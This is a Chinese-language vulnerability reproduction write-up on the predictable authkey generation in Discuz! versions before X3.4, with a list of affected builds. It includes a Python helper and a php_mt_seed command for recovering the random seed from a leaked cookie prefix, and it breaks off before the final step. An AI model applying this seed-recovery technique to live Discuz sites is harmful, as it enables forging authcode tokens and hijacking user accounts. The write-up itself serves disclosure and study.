003-Discuz < 3.4 authkey 算法的安全性漏洞

# Discuz < 3.4 authkey 算法的安全性漏洞 ## 一、漏洞简介 2017年8月1日,Discuz!发布了X3.4版本,此次更新中修复了authkey生成算法的安全性漏洞,通过authkey安全性漏洞,我们可以获得authkey。系统中逻辑大量使用authkey以及authcode算法,通过该漏洞可导致一系列安全问题:邮箱校验的hash参数被破解,导致任意用户绑定邮箱可被修改等… ## 二、漏洞影响 php>5.3+php-curl<=7.54 * Discuz_X3.3_SC_GBK * Discuz_X3.3_SC_UTF8 * Discuz_X3.3_TC_BIG5 * Discuz_X3.3_TC_UTF8 * Discuz_X3.2_SC_GBK * Discuz_X3.2_SC_UTF8 * Discuz_X3.2_TC_BIG5 * Discuz_X3.2_TC_UTF8 * Discuz_X2.5_SC_GBK * Discuz_X2.5_SC_UTF8 * Discuz_X2.5_TC_BIG5 * Discuz_X2.5_TC_UTF8 ## 三、复现过程 漏洞分析 在`dz3.3/upload/install/index.php` 346行 ![](/static/lingzu/images/15889910054271.png) 我们看到authkey是由多个参数的md5前6位加上random生成的10位产生的。 跟入random函数 ![](/static/lingzu/images/15889910123664.png) 当php版本大于4.2.0时,随机数种子不会改变 我们可以看到在生成authkey之后,使用random函数生成了4位cookie前缀 ```php $_config['cookie']['cookiepre'] = random(4).'_'; ``` 那么这4位cookie前缀就是我们可以得到的,那我们就可以使用字符集加上4位已知字符,爆破随机数种子。 首先我们需要先获得4位字符 ![](/static/lingzu/images/15889910318707.png) 如上图所示,前四位是**sW7c** 然后通过脚本生成用于php_mt_seed的参数 这里需要修改第13行代码,替换你自己的cookie前四位 ```python # coding=utf-8 w_len = 10 result = "" str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" length = len(str_list) for i in xrange(w_len): result+="0 " result+=str(length-1) result+=" " result+="0 " result+=str(length-1) result+=" " sstr = "sW7c" for i in sstr: result+=str(str_list.index(i)) result+=" " result+=str(str_list.index(i)) result+=" " result+="0 " result+=str(length-1) result+=" " print result ``` 得到参数,使用php_mt_seed脚本 https://github.com/ianxtianxt/php-mt_rand ```bash ./php_mt_seed 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 54 54 0 61 22 22 0 61 33 33 0 61 38 38 0 61 > result.txt
“`

这里我获得了245组种子

接下来我们需要使用这245组随机数种子生成随机字符串

“`php

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容